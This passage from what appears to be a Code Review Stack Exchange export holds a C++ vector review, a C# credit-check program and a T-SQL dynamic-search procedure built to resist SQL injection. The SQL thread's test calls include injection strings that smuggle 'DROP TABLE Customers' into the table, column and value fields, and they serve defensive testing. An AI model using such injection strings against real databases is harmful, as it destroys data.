Outskirts(Location):\n\n def remove_item(self, item):\n if item == sword:\n print(\"A snake bites you\")\n player.health -= 40\n super().remove_item(item)\n</code></pre>\n\n<h2>Framework</h2>\n\n<p>Once you have completed your framework for a game, with many objects, many rooms, many actions, and so on, you can create a completely different adventure game by changing the items, descriptions, and triggers. You might consider loading the world from a structured file, with the same adventure game framework supporting multiple games, by operating on different data. Of course, this means you have effectively reinvented the Inform7 game engine, mentioned at the start.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T05:30:34.637",
"Id": "431400",
"Score": "0",
"body": "Great in-depth review. I'm not convinced about 'Thing' though. Perhaps copy-pasting 'Name' and 'Description' to the classes that require these attributes is better. I'm not a fan of object hierarchies that contain very lightweight bases classes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T14:16:45.450",
"Id": "431440",
"Score": "1",
"body": "@dfhwze Python’s mix-in classes might be more appropriate, to make something that is a `Container` (you can put things in), a `Supporter` (you can put things on), `Animate` (does stuff by itself), `Enterable` (a location a player can move to). `class SelfDrivingCar(Thing, Container, Supporter, Animate, Enterable): ...`. Alternately, everything could be a `Thing` and the those attributes could be stored in an `EnumFlag` in the `Thing` object. Many many ways to do this. I look forward to reviewing iterations 2, 7, and 12 of the resulting framework."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T02:03:56.483",
"Id": "431486",
"Score": "0",
"body": "@AJNeufeld Thank you so much for the in-depth micro lesson on OOP and writing clean code. I very much appreciate the feedback. I know the code was repetitious but I also expected I would get some real solutions to refactor it and I got more than I was expecting. Do you know any books on OOP that you would suggest?"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T20:51:57.593",
"Id": "222779",
"ParentId": "222607",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-19T22:38:56.073",
"Id": "222607",
"Score": "2",
"Tags": [
"python",
"beginner",
"python-3.x",
"game",
"adventure-game"
],
"Title": "Beginner text adventure game"
} | 222607 |
<p>I'm implementing a STL-like vector with the essential functionalities.</p>
<p>I would like to know what is good in this code and what is bad. In terms of everything (memory usage, functions implementations, naming conventions, etc,...). </p>
<p>The header:</p>
<pre><code>#ifndef BVECTOR_H
#define BVECTOR_H
#include <memory>
static const int MIN_CAPACITY = 16;
static const int GROWTH_FACTOR = 2;
static const int SHRINK_FACTOR = 4;
class BVector
{
public:
BVector() = delete;
BVector(int);
BVector(int, int);
//BVector(const BVector&); //Copy Constructor
//BVector(const BVector&&); //Move Constructor
//BVector& operator=(BVector&); //Copy assignment operator.
//BVector& operator=(BVector&&); //Move assignment operator.
~BVector() = default;
int const& operator[] (int) const;
int& operator[](int);
int at(int);
void push(int);
int pop();
void insert(int, int);
void prepend(int);
bool find(int);
void Delete(int idx);
int size() const;
int capacity() const;
void resize(int);
bool isEmpty();
private:
int m_size{0};
int m_capacity{MIN_CAPACITY};
std::unique_ptr<int[]> m_data;
int DetermineCapacity(int);
void IncreaseCapacity();
void DecreaseCapacity();
};
#endif // BVECTOR_H
</code></pre>
<p>The implementation:</p>
<pre><code>#include "bvector.h"
#include <iostream>
BVector::BVector(int capacity): m_size(0)
{
int new_capacity = DetermineCapacity(capacity);
m_data = std::unique_ptr<int[]>(new int[new_capacity]);
}
BVector::BVector(int capacity, int init_val)
{
int new_capacity = DetermineCapacity(capacity);
m_data = std::unique_ptr<int[]>(new int[new_capacity]);
for(int i = 0; i < new_capacity; i++)
{
m_data[i] = init_val;
}
}
int const& BVector::operator[](int idx) const
{
return m_data[idx];
}
int& BVector::operator[](int idx)
{
return m_data[idx];
}
int BVector::at(int idx)
{
return m_data[idx];
}
void BVector::resize(int requiredSize)
{
if(m_size < requiredSize)
{
if(m_size == m_capacity)
IncreaseCapacity();
}else if(m_size > requiredSize)
{
if(m_size < (m_capacity/SHRINK_FACTOR))
DecreaseCapacity();
}
}
int BVector::DetermineCapacity(int capacity)
{
int actual_capacity = MIN_CAPACITY;
while(capacity > (actual_capacity/GROWTH_FACTOR))
{
actual_capacity *= GROWTH_FACTOR;
}
return actual_capacity;
}
void BVector::IncreaseCapacity()
{
int old_capacity = m_capacity;
int new_capacity = DetermineCapacity(old_capacity);
if(new_capacity != old_capacity)
{
std::unique_ptr<int[]> new_data = std::unique_ptr<int[]>(new int[new_capacity]);
for(int i = 0; i < m_size; i++)
{
new_data[i] = m_data[i];
}
m_capacity = new_capacity;
m_data = std::move(new_data);
}
}
void BVector::DecreaseCapacity()
{
int old_capacity = m_capacity;
int new_capacity = old_capacity / 2;
if(new_capacity < MIN_CAPACITY)
new_capacity = MIN_CAPACITY;
if(new_capacity != old_capacity)
{
std::unique_ptr<int[]> new_data = std::unique_ptr<int[]>(new int[new_capacity]);
for(int i = 0; i < m_size; i++)
{
new_data[i] = m_data[i];
}
m_capacity = new_capacity;
m_data = std::move(new_data);
}
}
int BVector::capacity() const
{
return this->m_capacity;
}
int BVector::size() const
{
return this->m_size;
}
void BVector::push(int val)
{
resize(m_size + 1);
m_data[m_size] = val;
++m_size;
}
bool BVector::isEmpty()
{
return (m_size == 0);
}
int BVector::pop()
{
if(!this->isEmpty())
{
resize(m_size-1);
int value = m_data[m_size];
--m_size;
return value;
}else
{
std::cout << "Nothing to pop." << std::endl;
exit(EXIT_FAILURE);
}
}
void BVector::insert(int value, int idx)
{
resize(m_size + 1);
std::unique_ptr<int[]> newData = std::unique_ptr<int[]>(new int[m_capacity]);
for (int i = 0; i < m_size+1; i++)
{
if(i == idx)
{
newData[i] = value;
newData[i+1] = m_data[i];
}
else if(i > idx)
{
newData[i+1] = m_data[i];
}
else
{
newData[i] = m_data[i];
}
}
m_data = std::move(newData);
++m_size;
}
void BVector::prepend(int value)
{
resize(m_size + 1);
for(int i = m_size; i > 0; i--)
{
m_data[i] = m_data[i - 1];
}
m_data[0] = value;
++m_size;
}
bool BVector::find(int reqVal)
{
for(auto i = 0; i < m_size; i++)
{
if(m_data[i] == reqVal)
return true;
}
return false;
}
void BVector::Delete(int idx)
{
resize(m_size - 1);
for(int i = idx; i < m_size - 1; i++)
{
m_data[i] = m_data[i+1];
}
--m_size;
}
</code></pre>
<p>The usage:</p>
<pre><code>#include <iostream>
#include "bvector.h"
int main()
{
BVector vec(10);
std::cout << vec[3] << std::endl;
vec.push(10);
vec.push(20);
vec.push(30);
vec.push(40);
vec.push(50);
vec.push(60);
vec.push(70);
vec.push(80);
vec.push(90);
vec.push(100);
vec.push(110);
vec.push(120);
vec.push(130);
vec.push(140);
vec.push(150);
vec.push(160);
vec.push(170);
vec.push(180);
vec.insert(333, 8);
vec.Delete(8);
std::cout << vec[vec.size()-1] << std::endl;
vec[vec.size()-1] = 555;
std::cout << vec.at(vec.size()-1) << std::endl;
vec.prepend(987);
std::cout << vec.at(0) << std::endl;
std::cout << vec.at(1) << std::endl;
int x = vec.pop();
std::cout << "Popped Value: " << x << std::endl;
bool flg = vec.find(150);
std::cout << flg << std::endl;
return 0;
}
</code></pre>
<p>Any detailed notes is so much appreciated.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T17:52:37.137",
"Id": "431078",
"Score": "0",
"body": "STL-like? Some parts of it are somewhat similar to a specific instantiation (`std::vector<int>`), but there are more differences."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T23:44:53.007",
"Id": "431112",
"Score": "3",
"body": "If it's meant to be STL-like, I'd at least expect it to satisfy requirements of [*Container*](https://en.cppreference.com/w/cpp/named_req/Container), be usable with algorithms, range-based for, etc... The interface should similar too, there are many odd names in your case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T08:43:05.530",
"Id": "431165",
"Score": "0",
"body": "It also has no [Allocator](https://en.cppreference.com/w/cpp/named_req/Allocator)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T17:35:54.687",
"Id": "431941",
"Score": "0",
"body": "A good read for sobody implementing the vector. I wrote four articles on how to do it. [Vector - Resource Management Allocation](https://lokiastari.com/blog/2016/02/27/vector/index.html) [Vector - Resource Management Copy Swap](https://lokiastari.com/blog/2016/02/29/vector-resource-management-ii-copy-assignment/index.html) [Vector - Resize](https://lokiastari.com/blog/2016/03/12/vector-resize/index.html) [Vector - Simple Optimizations](https://lokiastari.com/blog/2016/03/19/vector-simple-optimizations/index.html)"
}
] | [
{
"body": "<p>Your two constructors don't store a value into <code>m_capacity</code>, so if the initial capacity requested (passed in as a parameter) is larger than the default capacity you'll have things in an inconsistent state and likely run into problems later.</p>\n\n<p>Is there a reason you're not using <code>std::make_unique<int[]></code>, instead of allocating memory with <code>new</code> and constructing a <code>unique_ptr</code> from it?</p>\n\n<p><code>at</code> member functions in the standard containers will perform bounds checking. Your <code>at</code> does not.</p>\n\n<p>Is there a particular reason you're exiting the program if you detect a problem, rather than throwing an exception?</p>\n\n<p><code>DetermineCapacity</code> can enter an infinite loop if the <code>actual_capacity *= GROWTH_FACTOR</code> calculation overflows.</p>\n\n<p><code>IncreaseCapacity</code> and <code>DecreaseCapacity</code> are almost identical. Their functionality can be placed into a common function to avoid the code duplication.</p>\n\n<p>You don't need to use <code>this-></code> in member functions like <code>capacity</code> and <code>size</code>.</p>\n\n<p>In <code>pop</code>, you need to read the value to return <em>before</em> you shrink the array. Since your resizing can reallocate memory and copy the vector contents, this can result in your reading an invalid value.</p>\n\n<p>Why is <code>insert</code> <em>always</em> doing a reallocation?</p>\n\n<p><code>Delete</code> does not validate its argument, which can lead to Undefined Behavior.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T00:57:34.767",
"Id": "222611",
"ParentId": "222610",
"Score": "11"
}
},
{
"body": "<p>Several of the public member names differ needlessly from those of the standard containers. That can prevent use of this class in generic code.</p>\n\n<p>For instance,</p>\n\n<blockquote>\n<pre><code>void push(int);\nint pop();\nvoid prepend(int);\nbool isEmpty();\n</code></pre>\n</blockquote>\n\n<p>I would have expected:</p>\n\n<pre><code>void push_back(int);\nvoid pop_back();\nvoid push_front(int);\nbool empty() const;\n</code></pre>\n\n<p>These ones, dealing with size and capacity, should normally use <code>std::size_t</code> rather than <code>int</code>:</p>\n\n<blockquote>\n<pre><code>int size() const;\nint capacity() const;\nvoid resize(int);\n</code></pre>\n</blockquote>\n\n<p>It's also worth providing the standard type definitions that generic code expects of a container (<code>value_type</code>, <code>size_type</code>, etc).</p>\n\n<p>We really, <em>really</em> need iterators for the collection. Then we wouldn't need <code>find()</code> to be a member, because <code>std::find()</code> does that job. <code>insert()</code> and <code>erase()</code> also normally accept iterators rather than indices.</p>\n\n<p>There's lots of unnecessary loops where standard algorithms could and should be used (<code>std::fill()</code> and <code>std::move()</code> in particular).</p>\n\n<p>I don't see why capacity calculation needs a loop. Just add the headroom to the required capacity rather than iterating over a fixed sequence of sizes.</p>\n\n<p>Libraries shouldn't write, especially to standard output (<code>std::cerr</code> is the appropriate place for error messages), and certainly shouldn't terminate the process (except perhaps if specifically built for debugging, with <code>NDEBUG</code> undefined).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T08:25:55.230",
"Id": "222621",
"ParentId": "222610",
"Score": "8"
}
},
{
"body": "<pre><code>static const int MIN_CAPACITY = 16;\nstatic const int GROWTH_FACTOR = 2;\nstatic const int SHRINK_FACTOR = 4;\n</code></pre>\n\n<p>Global <code>const</code> variables automatically get internal linkage, thus making the <code>static</code>s redundant.</p>\n\n<p>Since you tagged your question <a href=\"/questions/tagged/c%2b%2b11\" class=\"post-tag\" title=\"show questions tagged 'c++11'\" rel=\"tag\">c++11</a>, the preferred way is to use <code>constexpr</code> variables:</p>\n\n<pre><code>constexpr int MIN_CAPACITY = 16;\nconstexpr int GROWTH_FACTOR = 2;\nconstexpr int SHRINK_FACTOR = 4;\n</code></pre>\n\n<p>Also, all-capital words are usually for macros. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T09:27:40.867",
"Id": "222624",
"ParentId": "222610",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222611",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-19T23:56:14.507",
"Id": "222610",
"Score": "5",
"Tags": [
"c++",
"c++11",
"vectors"
],
"Title": "A STL-like vector implementation in C++"
} | 222610 |
<p>This is a working program to check an item's price against available credit. I'm trying to simplify this program to the bare minimum. It would require to run so I'll be better able to understand each part of the 'if' and 'else' processes. Is there a simpler way to write a program that accomplishes the task below? I'm new to C#, just trying to figure this stuff out.</p>
<blockquote>
<p>Write a program named <code>CheckCredit</code> that prompts users to enter a purchase price for an item.
If the value entered is greater than a credit limit of $8,000, display you have exceeded the credit limit; otherwise, display <em>Approved</em>.</p>
</blockquote>
<pre><code>using static System.Console;
namespace CheckCredit
{
class Program
{
static void Main(string[] args)
{
const double CreditCheck = 8000;
string userInput;
double price;
WriteLine("This is a program designed to check an item's price
against your amount of available credit.");
WriteLine("Your credit limit is $8,000.00.\n");
do
{
Write("Please type the item's price:");
userInput = ReadLine();
if (!double.TryParse(userInput, out _))
{
WriteLine("Invalid input, please enter a whole or decimal number.");
userInput = null;
}
} while (!double.TryParse(userInput, out price));
if (price > CreditCheck)
{
WriteLine(" You have exceeded the credit limit", price);
}
else if
(price == CreditCheck)
{
WriteLine(
"Approved.(*)\n\n\n"
+
"(*) It is exactly your credit limit.");
}
else
{
WriteLine("Approved.");
}
ReadKey();
}
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T05:14:13.437",
"Id": "430993",
"Score": "3",
"body": "Please update your code. A multi-line string cannot be declared like above."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T19:55:20.037",
"Id": "431087",
"Score": "2",
"body": "OP probably forced a line break thinking it adds to readability in CR, but it introduces a compiler error. Note: this is only such error and easily corrected, so I do not think the question should be closed."
}
] | [
{
"body": "<p>Since you are a beginner, I will try to go easy on you. That said, this looks very beginner-ish.</p>\n\n<p>As noted in the comments above, you inadvertently put a line break which causes a compiler error. There are many here you would CLOSE the question on that alone.</p>\n\n<p>Beginner's frequently use double for binary floating point values. However, anytime you are working with money or currency, then you should use Decimal. Decimal is floating point as well but it's Base 10 rather than Base 2.</p>\n\n<p>The static import of System.Console may be allowed but in general is frowned upon. My eyes would rather see <code>Console.WriteLine</code> instead of <code>WriteLine</code> due to over dozen years of writing .NET apps.</p>\n\n<p>Naming is important. <code>CreditCheck</code> is a bad name. It should be <code>creditLimit</code> or <code>currentBalance</code> if not simply <code>balance</code>. But \"Check\" is an action verb and it would be a method that would perform that checking action, not a variable. Note too that for local variable naming I am using camelCase.</p>\n\n<p>Organization is less than desired. Beginners will frequently put everything in Main method. How about you create a separate method and pass the credit limit as an argument to it? Or even a method that accepts the credit limit and item price?</p>\n\n<p>You get to decide whether such a method should return a bool to denote you have sufficient funds, or perhaps return the remaining funds after the price. If it returned remaining funds, you now have extra information, such as negative value denotes insufficient funds (that it the price check failed).</p>\n\n<p>I don't think you need a special check for <code>price == CreditCheck</code>. Nice of you to throw in something extra, but why not tell them \"Approved. Remaining funds = ?\".</p>\n\n<p>You use decent indentation and nice that braces are wrapped around one line of code.</p>\n\n<p>Why fix the credit to 8000? Again, pass it as an argument. If you do that, you should see why it's wrong that you hardcode it with:</p>\n\n<p><code>WriteLine(\"Your credit limit is $8,000.00.\\n\");</code></p>\n\n<p>I get that you want a blank line to appear after that. For some people \"\\n\" is perfectly acceptable. Others would recommend using Environment.NewLine. Putting many suggestions together, and using String Interpolation, this would become:</p>\n\n<p><code>Console.WriteLine($\"Your credit limit is ${creditLimit.ToString(\"N2\")}.{Environment.NewLine}\");</code></p>\n\n<p>Or you could issue a simple <code>Console.WriteLine();</code> to avoid the whole \"\\n\" versus NewLine debate.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T20:19:18.203",
"Id": "222659",
"ParentId": "222613",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "222659",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T01:16:49.663",
"Id": "222613",
"Score": "4",
"Tags": [
"c#",
"beginner",
"console"
],
"Title": "Program to check an item's price against available credit"
} | 222613 |
<p>Prompted by discussion about SQL injection, I wanted to put a proof of concept forward to get feedback about whether this is in fact safe and protected against SQL injection or other malicious use. For good reference on the subject of constructing a dynamic search with dynamic SQL, I'd probably <a href="http://www.sommarskog.se/dyn-search.html#dynsql" rel="nofollow noreferrer">look there</a>.</p>
<p>This is meant to be a proof of concept, not a complete working solution to illustrate how we can accept text input from users but handle it as if it were parameterized properly. </p>
<p>The assumptions are as follows:</p>
<ol>
<li><p>We don't want to run code client-side -- in theory, this could have been done in a middle tier as some kind of API. However, even if there were a middle tier API endpoint, it does no good if it does not properly parameterize the query it makes on users' behalf. Furthermore, having it in SQL means that it is now generic to any clients who may need the functionality but at expense of poor portability. This will likely work only on Microsoft SQL Server, not on other database vendors, at least not without significant modifications. </p>
<p><strong>NOTE:</strong> Though the code below has been tested with SQL Server 2012, in theory, it should be compatible for 2008 R2 and higher. We can assume that any answer that will work on 2008 R2 is acceptable; if an answer relies on some features introduced in the later version, it will be also considered, especially if it improves the security. </p></li>
<li><p>Under <em>no</em> circumstances should the users be allowed to write the dynamic SQL, whether directly or indirectly. The only thing that should write the dynamic SQL is our code, without any user's inputs. That means taking additional indirection to ensure that users' input cannot become a part of the dynamic SQL being assembled. </p></li>
<li><p>We assume that the users only need to search a single table, wants all columns, but may want to filter on any columns. This is only to simplify the proof of the concept - there is no technical reason why it can't do more, provided that the practices outlined in the proof of concept is rigorously followed. </p></li>
<li><p>Because dynamic SQL is ultimately executed, we have to require that the users has at least the <code>SELECT</code> permission on the table they want to search.</p></li>
</ol>
<h2>Helper Function for data types</h2>
<p>We first need a function to help us with building a formatted data type because the <code>sys.types</code> doesn't present the information in most friendly manner for writing a parameter. While this could be more sophisticated, this suffices for most common cases:</p>
<pre><code>CREATE OR ALTER FUNCTION dbo.ufnGetFormattedDataType (
@DataTypeName sysname,
@Precision int,
@Scale int,
@MaxLength int
) RETURNS nvarchar(255)
WITH SCHEMABINDING AS
BEGIN
DECLARE @Suffix nvarchar(15);
SET @Suffix = CASE
WHEN @DataTypeName IN (N'nvarchar', N'nchar', N'varchar', N'char', N'varbinary', N'binary')
THEN CONCAT(N'(', IIF(@MaxLength = -1, N'MAX', CAST(@MaxLength AS nvarchar(12))), ')')
WHEN @DataTypeName IN (N'decimal', N'numeric')
THEN CONCAT(N'(', @Precision, N', ', @Scale, N')')
WHEN @DataTypeName IN (N'datetime2', N'datetimeoffset', N'time')
THEN CONCAT(N'(', @Scale, N')')
ELSE N''
END;
RETURN CONCAT(@DataTypeName, @Suffix);
END;
</code></pre>
<h2>Main dynamic search procedure</h2>
<p>With the function, we can then build our main procedure for creating the dynamic SQL to support generic search:</p>
<pre><code>CREATE OR ALTER PROCEDURE dbo.uspDynamicSearch (
@SchemaName sysname,
@TableName sysname,
@ParameterXml xml
) AS
BEGIN
DECLARE @stableName sysname,
@stableId int,
@err nvarchar(4000)
;
SELECT
@stableName = o.Name,
@stableId = o.object_id
FROM sys.objects AS o
WHERE o.name = @TableName
AND OBJECT_SCHEMA_NAME(o.object_id) = @SchemaName;
IF @stableName IS NULL
OR @stableId IS NULL
BEGIN
SET @err = N'Invalid schema or table name specified.';
THROW 50000, @err, 1;
RETURN -1;
END;
SELECT
x.value(N'@Name', N'sysname') AS ParameterName,
x.value(N'@Value', N'nvarchar(MAX)') AS ParameterValue
INTO #RawData
FROM @ParameterXml.nodes(N'/l/p') AS t(x);
IF EXISTS (
SELECT NULL
FROM #RawData AS d
WHERE NOT EXISTS (
SELECT NULL
FROM sys.columns AS c
WHERE c.object_id = @stableId
AND c.name = d.ParameterName
)
)
BEGIN
SET @err = N'Invalid column name(s) specified.';
THROW 50000, @err, 1;
RETURN -1;
END;
SELECT
ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) AS Id,
c.name AS ColumnName,
d.ParameterValue AS ParameterValue,
c.user_type_id AS DataTypeId,
t.name AS DataTypeName,
c.max_length AS MaxLength,
c.precision AS Precision,
c.scale AS Scale,
dbo.ufnGetFormattedDataType(t.name, c.precision, c.scale, c.max_length) AS ParameterDataType
INTO #ParameterData
FROM #RawData AS d
INNER JOIN sys.columns AS c
ON d.ParameterName = c.name
INNER JOIN sys.types AS t
ON c.user_type_id = t.user_type_id
WHERE c.object_id = @stableId;
DECLARE @Sql nvarchar(MAX) = CONCAT(N'SELECT * FROM ', QUOTENAME(OBJECT_SCHEMA_NAME(@stableId)), N'.', QUOTENAME(@stableName));
IF EXISTS (
SELECT NULL
FROM #ParameterData
)
BEGIN
DECLARE @And nvarchar(5) = N' AND ';
SET @Sql += CONCAT(N' WHERE ', STUFF((
SELECT
CONCAT(@And, QUOTENAME(d.ColumnName), N' = @P', d.Id)
FROM #ParameterData AS d
FOR XML PATH(N'')
), 1, LEN(@And), N''));
DECLARE @Params nvarchar(MAX) = CONCAT(N'DECLARE ', STUFF((
SELECT
CONCAT(N', @P', d.Id, N' ', d.ParameterDataType, N' = ( SELECT CAST(d.ParameterValue AS ', d.ParameterDataType, N') FROM #ParameterData AS d WHERE d.Id = ', d.Id, N') ')
FROM #ParameterData AS d
FOR XML PATH(N'')
), 1, 2, N''), N';');
SET @Sql = CONCAT(@Params, @Sql);
END;
SET @Sql += N';';
EXEC sys.sp_executesql @Sql;
END;
</code></pre>
<h2>Analysis</h2>
<p>Let's go over the procedures in parts to elaborate the reasoning behind the design, starting with the parameters.</p>
<pre><code>@SchemaName sysname,
@TableName sysname,
@ParameterXml xml
</code></pre>
<p>The schema and table names are self-evident but we require that the users provide their search conditions as a XML document. It doesn't have to be an XML document; JSON would work as well (provided that you're using a recent version of SQL Server). The point is that it must be a well-defined format with native support for parsing the contents. A sample XML may look something like this:</p>
<pre><code><l>
<p Name="First Name" Value="Martin" />
<p Name="Last Name" Value="O’Donnell" />
</l>
</code></pre>
<p>The XML is basically a (l)ist of the (p)arameters in name-value pairs. </p>
<p>We have to validate both parameters. First is easily done:</p>
<pre><code>SELECT
@stableName = o.Name,
@stableId = o.object_id
FROM sys.objects AS o
WHERE o.name = @TableName
AND OBJECT_SCHEMA_NAME(o.object_id) = @SchemaName;
</code></pre>
<p>Because we do <em>not</em> want users' inputs to go directly into the dynamic SQL, we use a separate variable, <code>@stableName</code> which would be same value as the <code>@TableName</code> but <em>only</em> if the user isn't malicious and tried to sneak in extra characters. Since we filter it through the <code>sys.objects</code>, that implicitly enforces SQL Server's identifier rules and thus validate that the input is valid.</p>
<p>For the parameters, we need some more work, so we need to load into a temporary table. We can't trust the user inputs so we must treat it accordingly.</p>
<pre><code>SELECT
x.value(N'@Name', N'sysname') AS ParameterName,
x.value(N'@Value', N'nvarchar(MAX)') AS ParameterValue
INTO #RawData
FROM @ParameterXml.nodes(N'/l/p') AS t(x);
</code></pre>
<p>Using a temporary table allow us to materialize the contents of XML in a relational table since we refer to it twice later on. </p>
<p>We need to validate all the column names in the same manner we did with the table name. Since it's a set, we'll use <code>EXISTS</code> to help us out.</p>
<pre><code>IF EXISTS (
SELECT NULL
FROM #RawData AS d
WHERE NOT EXISTS (
SELECT NULL
FROM sys.columns AS c
WHERE c.object_id = @stableId
AND c.name = d.ParameterName
)
)
BEGIN
SET @err = N'Invalid column name(s) specified.';
THROW 50000, @err, 1;
RETURN -1;
END;
</code></pre>
<p>In addition to validating the column name, we also verify it's in the same table we are going to query.</p>
<pre><code>SELECT
ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) AS Id,
c.name AS ColumnName,
d.ParameterValue AS ParameterValue,
c.user_type_id AS DataTypeId,
t.name AS DataTypeName,
c.max_length AS MaxLength,
c.precision AS Precision,
c.scale AS Scale,
dbo.ufnGetFormattedDataType(t.name, c.precision, c.scale, c.max_length) AS ParameterDataType
INTO #ParameterData
FROM #RawData AS d
INNER JOIN sys.columns AS c
ON d.ParameterName = c.name
INNER JOIN sys.types AS t
ON c.user_type_id = t.user_type_id
WHERE c.object_id = @stableId;
</code></pre>
<p>In addition to validating the column names we want to use for filters, we collect metadata from the <code>sys.columns</code> and <code>sys.types</code>. Note that the XML itself can't be used to tell us what the data types the user wants to use. That would be a vector for malicious attack so we must rely on the information from the catalog views, accepting only the parameter values directly from the XML supplied by the user.</p>
<p>At this point, we've validated and collected all the metadata about the columns but we still can't trust the contents of the <code>ParameterValue</code>.</p>
<p>Note the <code>ROW_NUMBER()</code> generating the IDs of the parameters. That is important as will be seen later on.</p>
<pre><code>DECLARE @Sql nvarchar(MAX) = CONCAT(N'SELECT * FROM ', QUOTENAME(OBJECT_SCHEMA_NAME(@stableId)), N'.', QUOTENAME(@stableName));
</code></pre>
<p>We build our first part of the dynamic SQL. We assume that it's OK to allow the users to select entire table, though that might be dickish if there's lot of records. In a complete solution, it might be more prudent to have a <code>TOP 100</code> or something like that. The problem is that a <code>TOP N</code> usually doesn't make sense without an <code>ORDER BY</code> so the same complete solution should probably have some support for allowing users to specify a sort order to ensure consistent results, even if it's something lame like sorting by the identity column. </p>
<p>Going forward, we'll assume that we have a set of parameters that we need to filter on.</p>
<pre><code>SET @Sql += CONCAT(N' WHERE ', STUFF((
SELECT
CONCAT(@And, QUOTENAME(d.ColumnName), N' = @P', d.Id)
FROM #ParameterData AS d
FOR XML PATH(N'')
), 1, LEN(@And), N''));
</code></pre>
<p>Here, we abuse the <code>FOR XML PATH</code> to provide a concatenation of the filter predicate for the <code>WHERE</code> clause. Using the sample XML above, the output would have been something like <code>WHERE [First Name] = @P1 AND [Last Name] = @P2</code>. Note the horrid naming of columns, with spaces in it, to show the value of <code>QUOTENAME</code> to ensure that even in a crappy database schema, we can avoid getting an error with an iffy identifier. </p>
<p>Note that we also assume all filters in XML are <code>AND</code>'d together. In a more complex implementation, users might want the option to <code>OR</code> or mix <code>AND</code> and <code>OR</code>, either which could be provided via an XML attribute.</p>
<pre><code>DECLARE @Params nvarchar(MAX) = CONCAT(N'DECLARE ', STUFF((
SELECT
CONCAT(N', @P', d.Id, N' ', d.ParameterDataType, N' = ( SELECT CAST(d.ParameterValue AS ', d.ParameterDataType, N') FROM #ParameterData AS d WHERE d.Id = ', d.Id, N') ')
FROM #ParameterData AS d
FOR XML PATH(N'')
), 1, 2, N''), N';');
</code></pre>
<p>This is the closest the user's input can get to our dynamic SQL. We would read from the same temporary table we created and assign to a parameter we create ourselves, with a <code>CAST</code>. Note that we could have used a <code>TRY_CAST</code> to avoid a runtime error but I would argue that an error needs to occur if the users put in bad input. In a complete solution, the procedure could be wrapped in a <code>TRY/CATCH</code> block to sanitize the error message somehow.</p>
<p>Again using the XML example from above, it'd come out something like this (formatted for readability):</p>
<pre><code>DECLARE @P1 varchar(100) = (
SELECT CAST(d.ParameterValue AS varchar(100))
FROM #ParameterData AS d WHERE d.Id = 1
);
</code></pre>
<p>Note that we did not even use the name that the users provided to us; we used a numeric ID which was concatenated by our own code. Furthermore, the code reads from the temporary table and <code>CAST</code> it into the parameter we want it to be. That makes it easier for us to handle different data types for various parameters the users may send to us but without actually concatenating the values they provide to us to our dynamic SQL. </p>
<p>Once we have that, we concatenate the assignments to the <code>@Sql</code> and execute it:</p>
<pre><code>EXEC sys.sp_executesql @Sql;
</code></pre>
<p>Note that we didn't use the <code>@params</code> parameter of the <code>sp_executesql</code> -- there's no parameters we can really pass in since the parameters are in a temporary table, which was why we used assignments inside the dynamic SQL to move the user's input from a XML document to a parameter within the dynamic SQL. </p>
<h2>Sample calling code</h2>
<pre><code>--Returns one match
EXEC dbo.uspDynamicSearch
N'dbo',
N'Customers',
N'<l><p Name="First Name" Value="Martin" /><p Name ="Last Name" Value="O’Donnell" /></l>';
-- Returns an empty result set
EXEC dbo.uspDynamicSearch
N'dbo',
N'Customers',
N'<l><p Name="First Name" Value="Martin''; DROP TABLE Customers; --" /><p Name ="Last Name" Value="O’Donnell" /></l>';
--Returns an error; invalid table name
EXEC dbo.uspDynamicSearch
N'dbo',
N'Customers''; DROP TABLE Customers; --',
N'<l><p Name="First Name" Value="Martin" /><p Name ="Last Name" Value="O’Donnell" /></l>';
--Returns an error; invalid column name
EXEC dbo.uspDynamicSearch
N'dbo',
N'Customers',
N'<l><p Name="First Name''; DROP TABLE Customers; --" Value="Martin" /><p Name ="Last Name" Value="O’Donnell" /></l>';
</code></pre>
<p>Here's a sample of the complete dynamic SQL assembled by the code, formatted for readability:</p>
<pre><code>DECLARE @P1 nvarchar(100) = (
SELECT CAST(d.ParameterValue AS nvarchar(100))
FROM #ParameterData AS d WHERE d.Id = 1
), @P2 nvarchar(100) = (
SELECT CAST(d.ParameterValue AS nvarchar(100))
FROM #ParameterData AS d WHERE d.Id = 2
);
SELECT *
FROM [dbo].[Customers]
WHERE [First Name] = @P1 AND [Last Name] = @P2;
</code></pre>
<h2>Can this be circumvented?</h2>
<p>As mentioned, the discussion about SQL injection made me wonder if I may have missed something or made an assumption where the malicious user could still manage to circumvent the layers of indirection I've put in and inject their nasty little SQL?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-30T14:17:28.233",
"Id": "432529",
"Score": "0",
